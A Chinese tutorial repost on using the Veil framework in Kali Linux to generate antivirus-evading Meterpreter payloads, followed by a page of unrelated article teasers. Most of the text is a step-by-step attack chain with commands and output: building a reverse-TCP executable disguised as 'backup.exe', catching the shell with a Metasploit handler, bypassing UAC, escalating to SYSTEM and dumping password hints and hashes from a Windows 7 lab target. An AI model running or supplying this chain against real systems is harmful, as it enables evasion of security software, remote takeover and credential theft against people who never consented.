Kali-linux免杀Payload生成工具Veil

news2024/11/25 21:28:08

Veil是一款利用Metasploit框架生成相兼容的Payload工具,并且在大多数网络环境中能绕过常见的杀毒软件。本节将介绍Veil工具的安装及使用。

在Kali Linux中,默认没有安装Veil工具。这里首先安装Veil工具,执行如下所示的命令:

root@kali:~# apt-get install veil

执行以上命令后,如果安装过程没有提示错误的话,则表示Veil工具安装成功。由于安装该工具依赖的软件较多,所以此过程时间有点长。

启动Veil工具。执行命令如下所示:

root@kali:~# veil-evasion

执行以上命令后,将会输出大量的信息。如下所示:

===============================================
 Veil First Run Detected… Initializing Script Setup…
===============================================
[*] Executing ./setup/setup.sh
===============================================
 Veil-Evasion Setup Script | [Updated]: 01.15.2015
===============================================
 [Web]: https://www.veil-framework.com | [Twitter]: @VeilFramework
===============================================
[*] Initializing Apt Dependencies Installation
[*] Adding i386 Architecture To x86_64 System
[*] Updating Apt Package Lists
命中 http://mirrors.ustc.edu.cn kali Release.gpg
命中 http://mirrors.ustc.edu.cn kali/updates Release.gpg
命中 http://mirrors.ustc.edu.cn kali Release
命中 http://mirrors.ustc.edu.cn kali/updates Release
命中 http://mirrors.ustc.edu.cn kali/main Sources
命中 http://mirrors.ustc.edu.cn kali/non-free Sources
命中 http://mirrors.ustc.edu.cn kali/contrib Sources
命中 http://mirrors.ustc.edu.cn kali/main amd64 Packages
命中 http://mirrors.ustc.edu.cn kali/non-free amd64 Packages
命中 http://mirrors.ustc.edu.cn kali/contrib amd64 Packages
获取:1 http://mirrors.ustc.edu.cn kali/main i386 Packages [8,474 kB]
命中 http://http.kali.org kali Release.gpg
命中 http://security.kali.org kali/updates Release.gpg
命中 http://http.kali.org kali Release
……
忽略 http://http.kali.org kali/non-free Translation-en
下载 17.8 MB,耗时 20秒 (859 kB/s)
正在读取软件包列表… 完成
 [*] Installing Wine i386 Binaries
正在读取软件包列表… 完成
正在分析软件包的依赖关系树
正在读取状态信息… 完成
将会安装下列额外的软件包:
 gcc-4.7-base:i386 libasound2:i386 libc-bin libc-dev-bin libc6 libc6:i386
 libc6-dev libc6-i686:i386 libdbus-1-3:i386 libdrm-intel1:i386
 libdrm-nouveau1a:i386 libdrm-radeon1:i386 libdrm2:i386 libexpat1:i386
 libffi5:i386 libfontconfig1:i386 libfreetype6:i386 libgcc1:i386
[*] Cleaning Up Setup Files
[*] Updating Veil-Framework Configuration
 Veil-Framework configuration:
 [*] OPERATING_SYSTEM = Kali
 [*] TERMINAL_CLEAR = clear
 [*] TEMP_DIR = /tmp/
 [*] MSFVENOM_OPTIONS =
 [*] METASPLOIT_PATH = /usr/share/metasploit-framework/
 [*] PYINSTALLER_PATH = /usr/share/pyinstaller/
[*] VEIL_EVASION_PATH = /usr/share/veil-evasion/
 [*] PAYLOAD_SOURCE_PATH = /root/veil-output/source/
 [*] Path '/root/veil-output/source/' Created
 [*] PAYLOAD_COMPILED_PATH = /root/veil-output/compiled/
 [*] Path '/root/veil-output/compiled/' Created
 [*] Path '/root/veil-output/handlers/' Created
 [*] GENERATE_HANDLER_SCRIPT = True
 [*] HANDLER_PATH = /root/veil-output/handlers/
 [*] HASH_LIST = /root/veil-output/hashes.txt
[*] VEIL_CATAPULT_PATH = /usr/share/Veil-Catapult/
 [*] Path '/root/veil-output/catapult/' Created
 [*] CATAPULT_RESOURCE_PATH = /root/veil-output/catapult/
[*] Path '/etc/veil/' Created
 Configuration File Written To '/etc/veil/settings.py'

以上信息只有在第一次运行Veil时才显示。在此过程中,初始化一些脚本、软件包列表、更新配置及安装需要的软件包。在此过程中以图形界面的形式依次安装了Python及它的两个模块pywin32-218和pycrypto-2.6。下面依次进行安装。首先弹出的对话框,如图6.32所示。

图6.32 Python初始界面

该界面是安装Python的初始界面。这里使用默认设置,单击Next按钮,将显示如图6.33所示的界面。

图6.33 选择Python安装位置

在该界面单击Next按钮,将显示如图6.34所示的界面。该界面提示C:\Python27已存在,确认是否要覆盖已存在的文件。这里单击Yes按钮,将显示如图6.35所示的界面。

图6.34 确认Python的安装位置

图6.35 自定义Python

在该界面自定义安装Python的一些功能。这里使用默认的设置,单击Next按钮,将显示如图6.36所示的界面。

图6.36 安装完成

该界面提示Python已经安装完成。此时单击Finish按钮,将显示如图6.37所示的界面。

图6.37 安装pywin32-218模块界面

 

该界面是要求安装pywin32-218模块。这里单击“下一步”按钮,将显示如图6.38所示的界面。

图6.38 设置向导

这里使用默认设置,单击“下一步”按钮,将显示如图6.39所示的界面。

图6.39 准备安装

该界面用来确实是否要开始安装。如果确认配置正确的话,单击“下一步”按钮,将显示如图6.40所示的界面。

图6.40 安装完成

从该界面可以看到pywin32-218模块已经安装完成。此时单击“结束”按钮,将显示如图6.41所示的界面。

图6.41 安装pycrypto-2.6模块初始界面

该界面提示需要安装pycrypto-2.6模块。这里单击“下一步”按钮开始安装,如图6.42所示。

图6.42 设置向导

 

这里使用默认设置,单击“下一步”按钮,将显示如图6.43所示的界面。

图6.43 准备安装

该界面提示将要安装pycrypto模块。这里单击“下一步”按钮,将显示如图6.44所示的界面。

图6.44 安装完成

从该界面可以看到以上软件包已安装完成。此时单击“结束”按钮,将显示如下所示的信息:

===============================================
 Veil-Evasion | [Version]: 2.4.3
===============================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================
Main Menu
  24 payloads loaded
Available commands:
  use      use a specific payload
  info     information on a specific payload
  list     list available payloads
  update   update Veil to the latest version
  clean    clean out payload folders
  checkvt  check payload hashes vs. VirusTotal
  exit     exit Veil
[>] Please enter a command:

从以上信息中可以看到在Veil下,有24个攻击载荷可加载,并列出了可用的命令。现在就可以进行各种操作了。例如查看可加载的攻击模块,执行命令如下所示:

[>] Please enter a command: list
===============================================
 Veil-Evasion | [Version]: 2.4.3
===============================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================
[*] Available payloads:
  1)   c/meterpreter/rev_tcp
  2)   c/meterpreter/rev_tcp_service
  3)   c/shellcode_inject/virtual
  4)   c/shellcode_inject/void
  5)   cs/meterpreter/rev_tcp
  6)   cs/shellcode_inject/base64_substitution
  7)   cs/shellcode_inject/virtual
  8)   native/Hyperion
  9)   native/backdoor_factory
  10)  native/pe_scrambler
  11)  powershell/shellcode_inject/download_virtual
  12)  powershell/shellcode_inject/psexec_virtual
  13)  powershell/shellcode_inject/virtual
  14)  python/meterpreter/rev_http
  15)  python/meterpreter/rev_http_contained
  16)  python/meterpreter/rev_https
  17)  python/meterpreter/rev_https_contained
  18)  python/meterpreter/rev_tcp
  19)  python/shellcode_inject/aes_encrypt
  20)  python/shellcode_inject/arc_encrypt
  21)  python/shellcode_inject/base64_substitution
  22)  python/shellcode_inject/des_encrypt
  23)  python/shellcode_inject/flat
  24)  python/shellcode_inject/letter_substitution

从输出的信息中,可以看到有24个可用的攻击载荷。此时可以利用任何一个攻击载荷,进行渗透攻击。

【实例6-5】演示使用Veil工具中的载荷(本例以cs/meterpreter/rev_tcp为例),进行渗透攻击(这里以Windows 7作为攻击靶机)。具体操作步骤如下所示。

(1)启动Veil工具。执行命令如下所示:

root@kali:~# veil-evasion

执行以上命令后,将显示如下所示的信息:

===============================================
 Veil-Evasion | [Version]: 2.4.3
===============================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================
Main Menu
  24 payloads loaded
Available commands:
  use      use a specific payload
  info     information on a specific payload
  list     list available payloads
  update   update Veil to the latest version
  clean    clean out payload folders
  checkvt  check payload hashes vs. VirusTotal
  exit     exit Veil
[>] Please enter a command:

在输出的信息中看到[>] Please enter a command:提示符,就表示Veil登录成功了。

(2)选择cs/meterpreter/rev_tcp攻击载荷。在攻击载荷列表中,cs/meterpreter/rev_tcp载荷的编号是5。执行命令如下所示:

[>] Please enter a command: use 5
===============================================
 Veil-Evasion | [Version]: 2.4.3
===============================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================
Payload: cs/meterpreter/rev_tcp loaded
Required Options:
Name            Current Value   Description
 ----           -------------   --------------------------
 LHOST                          IP of the metasploit handler
 LPORT          4444            Port of the metasploit handler
 compile_to_exe Y               Compile to an executable
Available commands:
  set       set a specific option value
  info      show information about the payload
  generate  generate payload
  back      go to the main menu
  exit      exit Veil
 [>] Please enter a command:

输出信息显示了rev_tcp攻击载荷可配置的选项参数。这里默认指定的本地端口(LPORT)是4444,LHOST选项还没有配置。

(3)配置LHOST选项参数,并查看攻击载荷的详细信息。执行命令如下所示:

[>] Please enter a command: set LHOST 192.168.6.103
[>] Please enter a command: info
===============================================
 Veil-Evasion | [Version]: 2.4.3
===============================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================
Payload information:
  Name:         cs/meterpreter/rev_tcp
  Language:     cs
  Rating:       Excellent
  Description:  pure windows/meterpreter/reverse_tcp stager, no shellcode
Required Options:
Name             Current Value  Description
 ----            ------------- --------------------------
 LHOST           192.168.6.100  IP of the metasploit handler
 LPORT           4444           Port of the metasploit handler
 compile_to_exe  Y              Compile to an executable

从输出的信息中,可以看到rev_tcp攻击载荷的详细信息,如攻击载荷名、语言、级别及配置的选项参数等。

(4)此时,使用generate命令生成载荷文件。执行命令如下所示:

[>] Please enter a command: generate
===============================================
 Veil-Evasion | [Version]: 2.4.3
===============================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================
[*] Press [enter] for 'payload'
 [>] Please enter the base name for output files: backup  #指定输出文件名

在以上命令中指定一个文件名为backup。然后按下回车键,将显示如下所示的信息:

 [*] Executable written to: /root/veil-output/compiled/backup.exe
Language:            cs
 Payload:            cs/meterpreter/rev_tcp
 Required Options:   LHOST=192.168.6.103 LPORT=4444 compile_to_exe=Y
 Payload File:       /root/veil-output/source/backup.cs
 Handler File:       /root/veil-output/handlers/backup_handler.rc
[*] Your payload files have been generated, don't get caught!
 [!] And don't submit samples to any online scanner! ;)
[>] press any key to return to the main menu:

从输出的信息中可以看到生成一个可执行文件backup.exe,并且该文件保存在/root/veil-output/compiled/中。此时将可执行文件backup.exe发送到目标主机上,就可以利用该攻击载荷了。

接下来需要使用Metasploit创建一个远程处理器,等待目标主机连接到Kali Linux(攻击主机)操作系统。连接成功后,就获取到一个远程Shell命令。

【实例6-6】创建远程处理器。具体操作步骤如下所示。

(1)启动MSF终端。

(2)使用handler模块。执行命令如下所示:

msf > use exploit/multi/handler

(3)加载reverse_tcp攻击载荷,并设置其选项参数。执行命令如下所示:

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.6.103
LHOST => 192.168.6.103

(4)启动渗透攻击。执行命令如下所示:

msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.6.103:4444
[*] Starting the payload handler…

从输出信息可以看到攻击载荷已启动,正在等待连接目标主机。

此时将前面生成的可执行文件backup.exe发送到目标主机(Windows 7),并运行该可执行文件。然后返回到Kali Linux操作系统,将看到如下所示的信息:

[*] Sending stage (769536 bytes) to 192.168.6.110
[*] Meterpreter session 1 opened (192.168.6.103:4444 -> 192.168.6.110:2478) at 2014-07-17 10:44:47 +0800
meterpreter >

从以上信息中,可以看到成功打开了一个Meterpreter会话。这表示已成功渗透攻击目标主机,现在就可以进行一些Shell命令。如进行目标主机的Shell环境,执行命令如下 所示:

meterpreter > shell
Process 1544 created.
Channel 1 created.
Microsoft Windows [版本 6.1.7601]
              (c) 2009 Microsoft Corporation
C:\Users\lyw\Desktop>

输出的信息表示进入了目标系统Windows 7的命令行,并且当前目标系统登录的用户是lyw。

如果以上用户没有太高权限时,可以使用Metasploit中的bypassuac模块绕过UAC(用户访问控制),进而提升用户的权限。下面将介绍使用bypassuac模块提升以上lyw用户的权限。

(1)将Meterpreter会话,调用到后台运行。执行命令如下所示:

meterpreter > background
[*] Backgrounding session 1…

从输出的信息中,可以看到当前后台运行的会话编号是1。该会话编号需要记住,在后面将会用到。

(2)查看会话详细信息。执行命令如下所示:

从输出信息中可以看到该会话中,连接到目标系统的运行架构、计算机名及IP地址。

(3)使用bypassuac模块,并查看可配置的选项参数。执行命令如下所示:

 

从输出信息中,可以看到模块选项中有一个可配置的选项参数SESSION。该选项的值,就是当前后台运行的会话编号。

(4)设置SESSION选项参数。如下所示:

msf exploit(bypassuac) > set session 1
session => 1

(5)启动渗透攻击。执行命令如下所示:

msf exploit(bypassuac) > exploit
[*] Started reverse handler on 192.168.6.103:4444
[*] UAC is Enabled, checking level…
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing…
[+] Part of Administrators group! Continuing…
[*] Uploaded the agent to the filesystem….
[*] Uploading the bypass UAC executable to the filesystem…
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Sending stage (769536 bytes) to 192.168.6.106
[*] Meterpreter session 2 opened (192.168.6.103:4444 -> 192.168.6.106:49206) at 2014-07-18 10:15:38 +0800
meterpreter >

从输出的信息中,可以看到目前登录的用户实际上是属于管理组的成员,并且绕过了UAC创建了一个新的会话。此时就可以提升用户的权限了。

(6)查看lyw用户的信息。执行命令如下所示:

meterpreter > getuid
Server username: WIN-RKPKQFBLG6C\lyw

从输出信息中可以看到该用户只是WIN-RKPKQFBLG6C计算机中的一个普通用户。

(7)提升lyw用户的权限,并查看其用户信息。执行命令如下所示:

meterpreter > getsystem
…got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

从输出信息中可以看到当前lyw用户,拥有了系统级别的权限。此时,可以进行任何的操作。如捕获目标系统中,用户的密码哈希值。执行命令如下所示:

meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key…
[*] Calculating the hboot key using SYSKEY 88f6c818af614f7033cb885 74907b61c…
[*] Obtaining the user list and keys…
[*] Decrypting user keys…
[*] Dumping password hints…
Test:"www.123"
abc:“123456”
alice:“passwd”
[*] Dumping password hashes…
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
bob:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

从输出的信息中,可以看到目标系统中有三个用户,并且可以看到它们的UID及密码哈希值。而且,还捕获到三个键盘输入的密码。如捕获的Test用户,其密码为www.123。
搜集整理的学习路线及笔记icon-default.png?t=N3I4https://mp.weixin.qq.com/s/KQx_eIwdjCj3QdErxKb7ZQ

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/539055.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[网络安全]DVWA之XSS(DOM)攻击姿势及解题详析合集

[网络安全]DVWA之XSS(DOM)攻击姿势及解题详析合集 XSS(DOM)-low levelXSS(DOM)-medium level源代码姿势script与option标签 XSS(DOM)-high level源代码姿势 XSS(DOM)-Impossible level页面源代码代码审计 总结 免责声明:本文仅分享XSS攻击相关…

有标签的各种图片大小的宫格拼图

当自己的数据集是从大图中切割下来的小图(根据检测框外括一小部分比例的抠图,后续更新此方法),此时数据集一定是大小不一的图片,若每张都直接输入进行训练那么太小的图片会失真严重,本篇对此提出了解决方法…

阻塞赋值和非阻塞赋值

FPGA这一块和C语言不太一样。 学习FPGA,必须时刻有时钟的概念,而单片机时钟相关性就比较差,FPGA必须把握每一个时钟。 首先介绍一下,非阻塞赋值,这个在时序逻辑里面经常遇见。 reg A; reg B;…

Python绘制柱状图并美化

python绘图合集 往期绘图合集 python绘制简单的折线图 python读取excel中数据并绘制多子图多组图在一张画布上 python绘制带误差棒的柱状图 python绘制多子图并单独显示 python读取excel数据并绘制多y轴图像 本期讲一下python绘制柱状图并使用不同颜色给柱子上色,设…

python@切片slice对象@sequence@range@arange

文章目录 python文档查阅tipsrangenumpy arangenumpy arangepython range🎈 collections容器的抽象基类eg sequence🎈python序列类型slice切片slice()内置方法itertools.slice()方法 python切片slicesequencerangearange python文档查阅tips preface:想…

【软件测试】软件测试为什么会用到Linux?

作为软件测试工程师,我们首先要知道linux是啥?Linux是操作系统,我们常用的操作系统有Windows和linux,他们的区别是: 一、免费与收费 在中国,windows和linux都是免费的,至少对个人用户是如此&…

iTOP-RK3568开发板Uboot参数-内核启动参数cmdline

目前 cmdline 参数有多个来源,由 U-Boot 进行拼接、过滤重复数据之后再 传给 kernel。U-Boot 阶段的 cmdline 被保存在 bootargs 环境变量中。U-Boot 最 终是通过修改的 kernel DTB 里的 /chosen/bootargs 实现 cmdline 传递。 cmdline 是 uboot 引导内核启动时传递给内核的…

chatgpt赋能Python-left_on_python

了解Python中的left_on函数 在Python编程中,left_on是一个非常重要的函数,特别是在数据处理中。这个函数可以帮助开发者快速、准确地合并或匹配数据,从而更好地分析和处理数据。本篇文章将介绍left_on函数的基本用法和语法,以及在…

chatgpt赋能Python-pycharm主函数

PyCharm主函数:让Python编程更加高效 如果你是一名Python工程师,那么你一定离不开一个优秀的Python集成开发环境(IDE)。而在这个领域中,PyCharm绝对是最好的之一。其中,PyCharm主函数是一项非常重要的功能…

MSF入侵安卓手机

MSF是Metasploit的简称,Metasploit是一款开源的安全漏洞检测工具,非常强大,分别有Windows版和Linux版,工具里集成了许多微软公布的漏洞(0day)。 我这里做测试的系统是Backbox linux ,这是一款网络渗透,信息…

物联网|串口的编程技巧|发送函数分析|初始化函数|IAR显示行号|串口的数据格式|数据帧的设计思路|物联网之蓝牙4.0 BLE基础-学习笔记(9)

文章目录 串口的编程技巧发送函数分析串口(UART0)初始化函数主函数体完整代码:TIPS1:IAR显示行号TIPS2:IAR编译出现 Fatal Error[e72]: Segment BANKED_CODE must be defined解决方法: 串口的数据格式 串口的编程技巧 发送函数分析 void Ua…

chatgpt赋能Python-pycharm爬虫电影代码

PyCharm爬虫电影代码详解 作为一位有着10年python编程经验的工程师,我想分享一下关于PyCharm爬虫电影代码的详细介绍和使用方法。 PyCharm简介 PyCharm是由JetBrains开发的一款Python IDE,它为Python开发者提供了一站式的开发环境,包括代码…

WALN网络不存在? 离谱事件解决方法

前情: 本来在高高兴兴赶ddl,突然发现网断了。尝试重连,显示无法连接... 遂重启,结果事情更糟了,WALN就没了,没了,没了... 这张是修好之后的图,但是当时所有包括蓝牙,waln…

例2:子流程

例:如图所示流程,物流Feed经冷却器Chiller冷却后进入子流程Sub进行气液分离。物性包选择Peng-Robinson。 目录 (1)新建模拟(2)创建组分列表(3)定义物性包(4)…

Goldengate Monitor Agent 安装

Goldengate Monitor & Agent GoldenGate Monitor基础知识1.GoldenGate Monitor介绍2.GoldenGate Monitor 的技术架构如下:3.Oracle GoldenGate4.GoldenGate Monitor Server5.GoldenGate Monitor Repository6.GoldenGate Monitor AgentGOLDENGATE MONITOR安装安…

计算机基础知识之字符编码

目录 1、基础知识2、ASCII编码3、编码格式4、多字节字符集(MBCS)和中文字符集5、ANSI 标准、国家标准、 ISO 标准6、Unicode 编码7、 UTF-8编码 1、基础知识 👉字符:是各种文字和符号的总称,包括各个国家的文字&#…

nodejs进阶(6)—连接MySQL数据库

1. 建库连库 连接MySQL数据库需要安装支持 npm install mysql 我们需要提前安装按mysql sever端 建一个数据库mydb1 mysql> CREATE DATABASE mydb1; mysql> SHOW DATABASES; -------------------- | Database | -------------------- | information_schem…

IOS描述文件制作教程​

转载:IOS描述文件制作教程 iOS描述文件(.mobileprovision)一键申请 在主界面上点击描述文件按钮。 ​ 编辑切换为居中 添加图片注释,不超过 140 字(可选) 新建ios描述文件 然后点击新建,然后输入描述文件名称&…

chatgpt赋能Python-phython_抓取数据

Python 抓取数据的SEO 介绍 在今天的数字化时代,数据是企业的核心资产之一。然而,这些数据往往散布在网络上的不同源头。大多数的企业需要使用各种不同的技术来从各种不同的来源中抓取数据。Python 是一种强大的工具,可以使这个过程更加简单…

【Linux内核】自旋锁spinlock机制

自旋锁 Note: 在使用自旋锁时应该避免长时间持有锁,否则可能会导致其他线程或进程无法访问共享资源。因此,建议将锁的持有时间尽量缩短,以提高系统的并发性能。 Linux中的自旋锁机制是一种用于同步多个线程或进程访问共享资源的技术。当一个…